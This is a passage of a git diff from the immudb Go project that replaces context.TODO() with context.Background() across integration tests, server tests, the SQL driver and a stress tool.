&schema.DatabaseSettings{DatabaseName: testDBName}) diff --git a/pkg/integration/error_test.go b/pkg/integration/error_test.go index a3c974ef39..a47a8fce0c 100644 --- a/pkg/integration/error_test.go +++ b/pkg/integration/error_test.go @@ -34,7 +34,7 @@ func TestGRPCError(t *testing.T) { t.Run("errors with token-based auth", func(t *testing.T) { - _, err := cli.Login(context.TODO(), []byte(`immudb`), []byte(`wrong`)) + _, err := cli.Login(context.Background(), []byte(`immudb`), []byte(`wrong`)) require.Equal(t, err.(errors.ImmuError).Error(), "invalid user name or password") require.Equal(t, err.(errors.ImmuError).Cause(), "crypto/bcrypt: hashedPassword is not the hash of the given password") diff --git a/pkg/integration/fuzzing/grpc_fuzz_test.go b/pkg/integration/fuzzing/grpc_fuzz_test.go index 742f1ce5ae..39fcf28187 100644 --- a/pkg/integration/fuzzing/grpc_fuzz_test.go +++ b/pkg/integration/fuzzing/grpc_fuzz_test.go @@ -57,7 +57,7 @@ func FuzzGRPCProtocol(f *testing.F) { WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}) client := immudb.NewClient().WithOptions(clientOpts) - err := client.OpenSession(context.TODO(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + err := client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(f, err) // Add few execall requests diff --git a/pkg/integration/session_test.go b/pkg/integration/session_test.go index 0b9b9780c5..7e0087d403 100644 --- a/pkg/integration/session_test.go +++ b/pkg/integration/session_test.go @@ -38,23 +38,23 @@ import ( func TestSession_OpenCloseSession(t *testing.T) { _, client, _ := setupTestServerAndClient(t) - err := client.OpenSession(context.TODO(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + err := client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.ErrorIs(t, err, ic.ErrSessionAlreadyOpen) - client.Set(context.TODO(), []byte("myKey"), []byte("myValue")) + client.Set(context.Background(), []byte("myKey"), []byte("myValue")) - err = client.CloseSession(context.TODO()) + err = client.CloseSession(context.Background()) require.NoError(t, err) - err = client.OpenSession(context.TODO(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) - entry, err := client.Get(context.TODO(), []byte("myKey")) + entry, err := client.Get(context.Background(), []byte("myKey")) require.NoError(t, err) require.NotNil(t, entry) require.Equal(t, []byte("myValue"), entry.Value) - err = client.CloseSession(context.TODO()) + err = client.CloseSession(context.Background()) require.NoError(t, err) } @@ -109,7 +109,7 @@ func TestSession_OpenCloseSessionMulti(t *testing.T) { func TestSession_OpenSessionNotConnected(t *testing.T) { client := ic.NewClient() - err := client.CloseSession(context.TODO()) + err := client.CloseSession(context.Background()) require.ErrorIs(t, ic.ErrNotConnected, err) } @@ -178,6 +178,6 @@ func TestSession_CreateDBFromSQLStmts(t *testing.T) { `, nil) require.NoError(t, err) - err = client.CloseSession(context.TODO()) + err = client.CloseSession(context.Background()) require.NoError(t, err) } diff --git a/pkg/integration/signature_verifier_interceptor_test.go b/pkg/integration/signature_verifier_interceptor_test.go index d8c02c6c08..4c5764cd45 100644 --- a/pkg/integration/signature_verifier_interceptor_test.go +++ b/pkg/integration/signature_verifier_interceptor_test.go @@ -50,7 +50,7 @@ func TestSignatureVerifierInterceptor(t *testing.T) { return nil } - err = c.SignatureVerifierInterceptor(context.TODO(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) + err = c.SignatureVerifierInterceptor(context.Background(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) require.NoError(t, err) @@ -73,7 +73,7 @@ func TestSignatureVerifierInterceptorUnableToVerify(t *testing.T) { invoker := func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, opts ...grpc.CallOption) error { return nil } - err = c.SignatureVerifierInterceptor(context.TODO(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) + err = c.SignatureVerifierInterceptor(context.Background(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) require.Error(t, err) } @@ -97,7 +97,7 @@ func TestSignatureVerifierInterceptorSignatureDoesntMatch(t *testing.T) { return nil } - err = c.SignatureVerifierInterceptor(context.TODO(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) + err = c.SignatureVerifierInterceptor(context.Background(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) require.Error(t, err) } @@ -114,7 +114,7 @@ func TestSignatureVerifierInterceptorNoPublicKey(t *testing.T) { return nil } - err := c.SignatureVerifierInterceptor(context.TODO(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) + err := c.SignatureVerifierInterceptor(context.Background(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) require.Error(t, err) } diff --git a/pkg/integration/tx/tx_entries_test.go b/pkg/integration/tx/tx_entries_test.go index afb4995fe1..b7b999e1d8 100644 --- a/pkg/integration/tx/tx_entries_test.go +++ b/pkg/integration/tx/tx_entries_test.go @@ -205,6 +205,6 @@ func Test_GetTransactionEntries(t *testing.T) { } }) - err = client.CloseSession(context.TODO()) + err = client.CloseSession(context.Background()) require.NoError(t, err) } diff --git a/pkg/server/corruption_checker_test.go b/pkg/server/corruption_checker_test.go index 21df501f3d..f6e5754ec1 100644 --- a/pkg/server/corruption_checker_test.go +++ b/pkg/server/corruption_checker_test.go @@ -56,7 +56,7 @@ func TestEmptyDBCorruptionChecker(t *testing.T) { cc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{}) - err = cc.Start(context.TODO()) + err = cc.Start(context.Background()) for i := 0; i < dbList.Length(); i++ { val := dbList.GetByIndex(int64(i)) @@ -84,7 +84,7 @@ func TestCorruptionChecker(t *testing.T) { cc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{}) - err = cc.Start(context.TODO()) + err = cc.Start(context.Background()) for i := 0; i < dbList.Length(); i++ { val := dbList.GetByIndex(int64(i)) @@ -146,7 +146,7 @@ func TestCorruptionCheckerOnTamperInsertionOrderIndexDb(t *testing.T) { cc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{}) - err = cc.Start(context.TODO()) + err = cc.Start(context.Background()) for i := 0; i < dbList.Length(); i++ { val := dbList.GetByIndex(int64(i)) @@ -206,7 +206,7 @@ func TestCorruptionCheckerOnTamperDbInconsistentState(t *testing.T) { cc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{}) - err = cc.Start(context.TODO()) + err = cc.Start(context.Background()) for i := 0; i < dbList.Length(); i++ { val := dbList.GetByIndex(int64(i)) @@ -275,7 +275,7 @@ func TestCorruptionCheckerOnTamperDb(t *testing.T) { cc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGeneratorMock{}) - err = cc.Start(context.TODO()) + err = cc.Start(context.Background()) assert.NoError(t, err) for i := 0; i < dbList.Length(); i++ { @@ -309,7 +309,7 @@ func TestCorruptionChecker_Stop(t *testing.T) { cc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{}) - cc.Start(context.TODO()) + cc.Start(context.Background()) for i := 0; i < dbList.Length(); i++ { val := dbList.GetByIndex(int64(i)) @@ -337,7 +337,7 @@ func TestCorruptionChecker_ExitImmediatly(t *testing.T) { cco.singleiteration = true cc := NewCorruptionChecker(cco, dbList, &mockLogger{}, randomGenerator{}) - err = cc.Start(context.TODO()) + err = cc.Start(context.Background()) cc.Stop() for i := 0; i < dbList.Length(); i++ { diff --git a/pkg/server/db_runtime_test.go b/pkg/server/db_runtime_test.go index 12e43d0d5e..6270eae426 100644 --- a/pkg/server/db_runtime_test.go +++ b/pkg/server/db_runtime_test.go @@ -49,7 +49,7 @@ func TestServerDatabaseRuntime(t *testing.T) { }) require.NoError(t, err) - ctx = metadata.NewIncomingContext(context.TODO(), metadata.New(map[string]string{"sessionid": resp.GetSessionID()})) + ctx = metadata.NewIncomingContext(context.Background(), metadata.New(map[string]string{"sessionid": resp.GetSessionID()})) t.Run("reserved databases can not be updated", func(t *testing.T) { _, err = s.UpdateDatabaseV2(ctx, &schema.UpdateDatabaseRequest{ @@ -159,7 +159,7 @@ func TestServerDatabaseRuntimeEdgeCases(t *testing.T) { }) require.NoError(t, err) - ctx = metadata.NewIncomingContext(context.TODO(), metadata.New(map[string]string{"sessionid": resp.GetSessionID()})) + ctx = metadata.NewIncomingContext(context.Background(), metadata.New(map[string]string{"sessionid": resp.GetSessionID()})) for i, c := range []struct { req *schema.LoadDatabaseRequest diff --git a/pkg/server/metrics_test.go b/pkg/server/metrics_test.go index a2da5634fa..f9f55e2053 100644 --- a/pkg/server/metrics_test.go +++ b/pkg/server/metrics_test.go @@ -100,7 +100,7 @@ func TestMetricsCollection_UpdateClientMetrics(t *testing.T) { Zone: "zone", }, } - ctx := peer.NewContext(context.TODO(), p) + ctx := peer.NewContext(context.Background(), p) mc.UpdateClientMetrics(ctx) require.IsType(t, MetricsCollection{}, mc) diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 13c80f9b10..9adf7606f0 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -2048,7 +2048,7 @@ func TestServerDatabaseTruncate(t *testing.T) { DatabaseName: DefaultDBName, }) require.NoError(t, err) - ctx := metadata.NewIncomingContext(context.TODO(), metadata.New(map[string]string{"sessionid": resp.GetSessionID()})) + ctx := metadata.NewIncomingContext(context.Background(), metadata.New(map[string]string{"sessionid": resp.GetSessionID()})) t.Run("attempt to delete without retention period should fail", func(t *testing.T) { _, err = s.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{ diff --git a/pkg/server/sessions/session_test.go b/pkg/server/sessions/session_test.go index 8765b8aebc..f1e502b92f 100644 --- a/pkg/server/sessions/session_test.go +++ b/pkg/server/sessions/session_test.go @@ -36,14 +36,14 @@ func TestNewSession(t *testing.T) { } func TestGetSessionIDFromContext(t *testing.T) { - ctx := context.TODO() + ctx := context.Background() ctx = metadata.NewIncomingContext(ctx, metadata.Pairs("sessionid", "sessionID")) sessionID, err := GetSessionIDFromContext(ctx) require.NoError(t, err) require.Equal(t, sessionID, "sessionID") _, err = GetSessionIDFromContext(metadata.NewIncomingContext(ctx, metadata.Pairs("sessionid", ""))) require.ErrorIs(t, ErrNoSessionIDPresent, err) - _, err = GetSessionIDFromContext(context.TODO()) + _, err = GetSessionIDFromContext(context.Background()) require.ErrorIs(t, ErrNoSessionIDPresent, err) _, err = GetSessionIDFromContext(metadata.NewIncomingContext(ctx, metadata.Pairs())) require.ErrorIs(t, ErrNoSessionAuthDataProvided, err) diff --git a/pkg/server/stream_replication_test.go b/pkg/server/stream_replication_test.go index 0d9835371f..586a2885b8 100644 --- a/pkg/server/stream_replication_test.go +++ b/pkg/server/stream_replication_test.go @@ -116,7 +116,7 @@ func (s *immuServiceExportTxServer) Recv() (*schema.Chunk, error) { } func (s *immuServiceExportTxServer) Context() context.Context { - return context.TODO() + return context.Background() } type immuServiceReplicateTxServer struct { diff --git a/pkg/server/stream_test.go b/pkg/server/stream_test.go index f11d5415cb..ddfbe82b35 100644 --- a/pkg/server/stream_test.go +++ b/pkg/server/stream_test.go @@ -49,7 +49,7 @@ func (s *StreamServerMock) Recv() (*schema.Chunk, error) { return nil, nil } func (s *StreamServerMock) Context() context.Context { - return context.TODO() + return context.Background() } type StreamVerifiableServerMock struct { @@ -67,5 +67,5 @@ func (s *StreamVerifiableServerMock) Recv() (*schema.Chunk, error) { return nil, nil } func (s *StreamVerifiableServerMock) Context() context.Context { - return context.TODO() + return context.Background() } diff --git a/pkg/stdlib/connection.go b/pkg/stdlib/connection.go index 6cffba55fb..e6f772ba54 100644 --- a/pkg/stdlib/connection.go +++ b/pkg/stdlib/connection.go @@ -46,7 +46,7 @@ func (c *Conn) PrepareContext(ctx context.Context, query string) (driver.Stmt, e } func (c *Conn) Close() error { - return c.immuClient.CloseSession(context.TODO()) + return c.immuClient.CloseSession(context.Background()) } func (c *Conn) ExecContext(ctx context.Context, query string, argsV []driver.NamedValue) (driver.Result, error) { diff --git a/pkg/stdlib/connection_test.go b/pkg/stdlib/connection_test.go index 3f7aab8bae..5ef9f77a62 100644 --- a/pkg/stdlib/connection_test.go +++ b/pkg/stdlib/connection_test.go @@ -67,22 +67,22 @@ func TestConnErr(t *testing.T) { _, err := c.Prepare("") require.Error(t, err) - _, err = c.PrepareContext(context.TODO(), "") + _, err = c.PrepareContext(context.Background(), "") require.Error(t, err) _, err = c.Begin() require.Error(t, err) - _, err = c.BeginTx(context.TODO(), driver.TxOptions{}) + _, err = c.BeginTx(context.Background(), driver.TxOptions{}) require.Error(t, err) - _, err = c.ExecContext(context.TODO(), "", nil) + _, err = c.ExecContext(context.Background(), "", nil) require.Error(t, err) - _, err = c.QueryContext(context.TODO(), "", nil) + _, err = c.QueryContext(context.Background(), "", nil) require.Error(t, err) - err = c.ResetSession(context.TODO()) + err = c.ResetSession(context.Background()) require.Error(t, err) ris := c.CheckNamedValue(nil) @@ -107,13 +107,13 @@ func TestConn_QueryContextErr(t *testing.T) { db := OpenDB(opts) defer db.Close() - _, err := db.QueryContext(context.TODO(), "query", 10.5) + _, err := db.QueryContext(context.Background(), "query", 10.5) require.Error(t, err) - _, err = db.ExecContext(context.TODO(), "INSERT INTO myTable(id, name) VALUES (2, 'immu2')") + _, err = db.ExecContext(context.Background(), "INSERT INTO myTable(id, name) VALUES (2, 'immu2')") require.Error(t, err) - _, err = db.QueryContext(context.TODO(), "SELECT * FROM myTable") + _, err = db.QueryContext(context.Background(), "SELECT * FROM myTable") require.Error(t, err) } @@ -139,7 +139,7 @@ func TestConn_QueryContext(t *testing.T) { } table := "mytable" - result, err := c.ExecContext(context.TODO(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table), nil) + result, err := c.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table), nil) require.NoError(t, err) require.NotNil(t, result) @@ -152,7 +152,7 @@ func TestConn_QueryContext(t *testing.T) { {Name: "content", Value: binaryContent}, {Name: "isPresent", Value: true}, } - _, err = c.ExecContext(context.TODO(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), argsV) + _, err = c.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), argsV) require.NoError(t, err) rows, err := c.QueryContext(ctx, "SELECT * FROM myTable limit 1", nil) @@ -192,7 +192,7 @@ func TestConn_QueryContextEmptyTable(t *testing.T) { } table := "emptytable" - result, err := c.ExecContext(context.TODO(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table), nil) + result, err := c.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table), nil) require.NoError(t, err) require.NotNil(t, result) @@ -230,6 +230,6 @@ func TestConn_QueryContextEmptyTable(t *testing.T) { immuConn := conn.(driver.Pinger) - err = immuConn.Ping(context.TODO()) + err = immuConn.Ping(context.Background()) require.NoError(t, err) }*/ diff --git a/pkg/stdlib/driver_test.go b/pkg/stdlib/driver_test.go index 429204dca1..5607f0384d 100644 --- a/pkg/stdlib/driver_test.go +++ b/pkg/stdlib/driver_test.go @@ -50,7 +50,7 @@ func TestRegisterConnConfig(t *testing.T) { defer UnregisterConnConfig(connStr) db = Open(connStr) - _, err := db.ExecContext(context.TODO(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", "myTable")) + _, err := db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", "myTable")) require.NoError(t, err) } diff --git a/pkg/stdlib/sql_test.go b/pkg/stdlib/sql_test.go index 0a6bdd1678..c3e778cc34 100644 --- a/pkg/stdlib/sql_test.go +++ b/pkg/stdlib/sql_test.go @@ -64,16 +64,16 @@ func TestOpenDB(t *testing.T) { _, db := testServerClient(t) table := getRandomTableName() - _, err := db.ExecContext(context.TODO(), fmt.Sprintf("CREATE TABLE %s(id INTEGER, name VARCHAR, PRIMARY KEY id)", table)) + _, err := db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s(id INTEGER, name VARCHAR, PRIMARY KEY id)", table)) require.NoError(t, err) - _, err = db.ExecContext(context.TODO(), fmt.Sprintf("INSERT INTO %s (id, name) VALUES (1, 'immu1')", table)) + _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, name) VALUES (1, 'immu1')", table)) require.NoError(t, err) - _, err = db.ExecContext(context.TODO(), fmt.Sprintf("INSERT INTO %s (id, name) VALUES (2, 'immu2')", table)) + _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, name) VALUES (2, 'immu2')", table)) require.NoError(t, err) - rows, err := db.QueryContext(context.TODO(), fmt.Sprintf("SELECT * FROM %s ", table)) + rows, err := db.QueryContext(context.Background(), fmt.Sprintf("SELECT * FROM %s ", table)) require.NoError(t, err) var id uint64 @@ -92,7 +92,7 @@ func TestOpenDB(t *testing.T) { require.Equal(t, uint64(2), id) require.Equal(t, "immu2", name) - rowsw, err := db.QueryContext(context.TODO(), fmt.Sprintf("SELECT * FROM %s WHERE id = 2", table)) + rowsw, err := db.QueryContext(context.Background(), fmt.Sprintf("SELECT * FROM %s WHERE id = 2", table)) require.NoError(t, err) rowsw.Next() @@ -109,16 +109,16 @@ func TestQueryCapabilities(t *testing.T) { _, db := testServerClient(t) table := getRandomTableName() - result, err := db.ExecContext(context.TODO(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table)) + result, err := db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) binaryContent := []byte("my blob content1") - _, err = db.ExecContext(context.TODO(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), 1, 1000, 6000, "title 1", binaryContent, true) + _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), 1, 1000, 6000, "title 1", binaryContent, true) require.NoError(t, err) binaryContent2 := []byte("my blob content2") - _, err = db.ExecContext(context.TODO(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), 2, 2000, 12000, "title 2", binaryContent2, true) + _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), 2, 2000, 12000, "title 2", binaryContent2, true) require.NoError(t, err) var id int64 @@ -147,19 +147,19 @@ func TestQueryCapabilitiesWithPointers(t *testing.T) { table := getRandomTableName() - _, err := db.ExecContext(context.TODO(), fmt.Sprintf("CREATE TABLE %s (id INTEGER AUTO_INCREMENT,name VARCHAR,manager_id INTEGER,PRIMARY KEY ID)", table)) + _, err := db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER AUTO_INCREMENT,name VARCHAR,manager_id INTEGER,PRIMARY KEY ID)", table)) require.NoError(t, err) table1 := getRandomTableName() - _, err = db.ExecContext(context.TODO(), fmt.Sprintf("CREATE TABLE %s (id INTEGER AUTO_INCREMENT,user_id INTEGER,name VARCHAR,PRIMARY KEY ID)", table1)) + _, err = db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER AUTO_INCREMENT,user_id INTEGER,name VARCHAR,PRIMARY KEY ID)", table1)) require.NoError(t, err) - _, err = db.ExecContext(context.TODO(), fmt.Sprintf("INSERT INTO %s (name,manager_id) VALUES (?,?)", table), "name", 1) + _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (name,manager_id) VALUES (?,?)", table), "name", 1) require.NoError(t, err) id := uint(1) - _, err = db.ExecContext(context.TODO(), fmt.Sprintf("INSERT INTO %s (user_id,name) VALUES (?,?),(?,?) ", table1), &id, "name1", &id, "name2") + _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (user_id,name) VALUES (?,?),(?,?) ", table1), &id, "name1", &id, "name2") require.NoError(t, err) } @@ -168,11 +168,11 @@ func TestNilValues(t *testing.T) { table := getRandomTableName() - result, err := db.ExecContext(context.TODO(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)", table)) + result, err := db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) - _, err = db.ExecContext(context.TODO(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content) VALUES (?, ?, ?, ?, ?)", table), 1, nil, nil, nil, nil) + _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content) VALUES (?, ?, ?, ?, ?)", table), 1, nil, nil, nil, nil) require.NoError(t, err) var id int64 @@ -207,14 +207,14 @@ func TestDriverValuer(t *testing.T) { table := getRandomTableName() - result, err := db.ExecContext(context.TODO(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table)) + result, err := db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) binaryContent := []byte("my blob content1") argsV := []interface{}{&valuer{1}, &valuer{100}, &valuer{200}, &valuer{"title 1"}, &valuer{binaryContent}, &valuer{true}} - _, err = db.ExecContext(context.TODO(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), argsV...) + _, err = db.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table), argsV...) require.NoError(t, err) var id int64 @@ -271,7 +271,7 @@ func TestImmuConnector_ConnectLoginErr(t *testing.T) { db := OpenDB(opts) defer db.Close() - _, err := db.ExecContext(context.TODO(), "this will not be executed") + _, err := db.ExecContext(context.Background(), "this will not be executed") require.ErrorContains(t, err, "invalid user name or password") } @@ -294,7 +294,7 @@ func TestImmuConnector_ConnectUseDatabaseErr(t *testing.T) { db := OpenDB(opts) defer db.Close() - _, err := db.ExecContext(context.TODO(), "this will not be executed") + _, err := db.ExecContext(context.Background(), "this will not be executed") require.ErrorContains(t, err, "database does not exist") } diff --git a/pkg/stdlib/tx.go b/pkg/stdlib/tx.go index 4adf244122..9e9869d8ec 100644 --- a/pkg/stdlib/tx.go +++ b/pkg/stdlib/tx.go @@ -10,7 +10,7 @@ type dbTx struct { } func (c *Conn) Begin() (driver.Tx, error) { - return c.BeginTx(context.TODO(), driver.TxOptions{}) + return c.BeginTx(context.Background(), driver.TxOptions{}) } func (c *Conn) BeginTx(ctx context.Context, opts driver.TxOptions) (driver.Tx, error) { @@ -29,13 +29,13 @@ func (c *Conn) BeginTx(ctx context.Context, opts driver.TxOptions) (driver.Tx, e } func (dbTx *dbTx) Commit() error { - _, err := dbTx.tx.Commit(context.TODO()) + _, err := dbTx.tx.Commit(context.Background()) dbTx.tx = nil return err } func (dbTx *dbTx) Rollback() error { - err := dbTx.tx.Rollback(context.TODO()) + err := dbTx.tx.Rollback(context.Background()) dbTx.tx = nil return err } diff --git a/pkg/stdlib/tx_test.go b/pkg/stdlib/tx_test.go index 1d66088c99..95b73e6782 100644 --- a/pkg/stdlib/tx_test.go +++ b/pkg/stdlib/tx_test.go @@ -39,7 +39,7 @@ func TestConn_BeginTx(t *testing.T) { require.NoError(t, err) table := getRandomTableName() - result, err = tx.ExecContext(context.TODO(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table)) + result, err = tx.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) @@ -78,21 +78,21 @@ func TestTx_Rollback(t *testing.T) { require.NoError(t, err) table := getRandomTableName() - result, err := tx.ExecContext(context.TODO(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, PRIMARY KEY id)", table)) + result, err := tx.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) - _, err = tx.ExecContext(context.TODO(), fmt.Sprintf("INSERT INTO %s (id) VALUES (2)", table)) + _, err = tx.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id) VALUES (2)", table)) require.NoError(t, err) - rows, err := tx.QueryContext(context.TODO(), fmt.Sprintf("SELECT * FROM %s", table)) + rows, err := tx.QueryContext(context.Background(), fmt.Sprintf("SELECT * FROM %s", table)) require.NoError(t, err) require.NotNil(t, rows) err = tx.Rollback() require.NoError(t, err) - _, err = db.QueryContext(context.TODO(), fmt.Sprintf("SELECT * FROM %s", table)) + _, err = db.QueryContext(context.Background(), fmt.Sprintf("SELECT * FROM %s", table)) st, _ := status.FromError(err) require.Equal(t, fmt.Sprintf("table does not exist (%s)", table), st.Message()) } @@ -103,9 +103,9 @@ func TestTx_Errors(t *testing.T) { tx, err := db.Begin() require.NoError(t, err) - _, err = tx.ExecContext(context.TODO(), "this is really wrong") + _, err = tx.ExecContext(context.Background(), "this is really wrong") require.Error(t, err) - _, err = tx.QueryContext(context.TODO(), "this is also very wrong") + _, err = tx.QueryContext(context.Background(), "this is also very wrong") require.Error(t, err) } diff --git a/pkg/stdlib/uri_test.go b/pkg/stdlib/uri_test.go index 7a35ba8cf3..8e43515c56 100644 --- a/pkg/stdlib/uri_test.go +++ b/pkg/stdlib/uri_test.go @@ -168,7 +168,7 @@ func Test_SQLOpen(t *testing.T) { db, err := sql.Open("immudb", fmt.Sprintf("immudb://immudb:immudb@127.0.0.1:%d/defaultdb?sslmode=disable", port)) require.NoError(t, err) - _, err = db.ExecContext(context.TODO(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", "myTable")) + _, err = db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", "myTable")) require.NoError(t, err) } @@ -181,6 +181,6 @@ func Test_Open(t *testing.T) { db := Open(fmt.Sprintf("immudb://immudb:immudb@127.0.0.1:%d/defaultdb?sslmode=disable", port)) require.NotNil(t, db) - _, err := db.ExecContext(context.TODO(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", "myTable")) + _, err := db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", "myTable")) require.NoError(t, err) } diff --git a/pkg/truncator/truncator_test.go b/pkg/truncator/truncator_test.go index 9069eea676..173cd6d828 100644 --- a/pkg/truncator/truncator_test.go +++ b/pkg/truncator/truncator_test.go @@ -55,7 +55,7 @@ func TestDatabase_truncate_with_duration(t *testing.T) { so.VLogCacheSize = 0 options.WithStoreOptions(so) - ctx := context.TODO() + ctx := context.Background() db := makeDbWith(t, "db", options) tr := NewTruncator(db, 0, 0, logger.NewSimpleLogger("immudb ", os.Stderr)) tr.retentionPeriodF = func(ts time.Time, retentionPeriod time.Duration) time.Time { diff --git a/tools/long_running/stress_tool_worker_pool.go b/tools/long_running/stress_tool_worker_pool.go index 3bba0e1757..e5c7e37097 100644 --- a/tools/long_running/stress_tool_worker_pool.go +++ b/tools/long_running/stress_tool_worker_pool.go @@ -112,19 +112,19 @@ func worker(jobs, okJobs chan *schema.KeyValue, done chan bool, wwg *sync.WaitGr client = immudb.NewClient().WithOptions(opts) - err = client.OpenSession(context.TODO(), []byte(config.Username), []byte(config.Password), config.DBName) + err = client.OpenSession(context.Background(), []byte(config.Username), []byte(config.Password), config.DBName) if err != nil { log.Fatalln("Failed to connect. Reason:", err) } time.Sleep(time.Millisecond * time.Duration(rand.Intn(5000))) - _, err = client.Set(context.TODO(), keyVal.Key, keyVal.Value) + 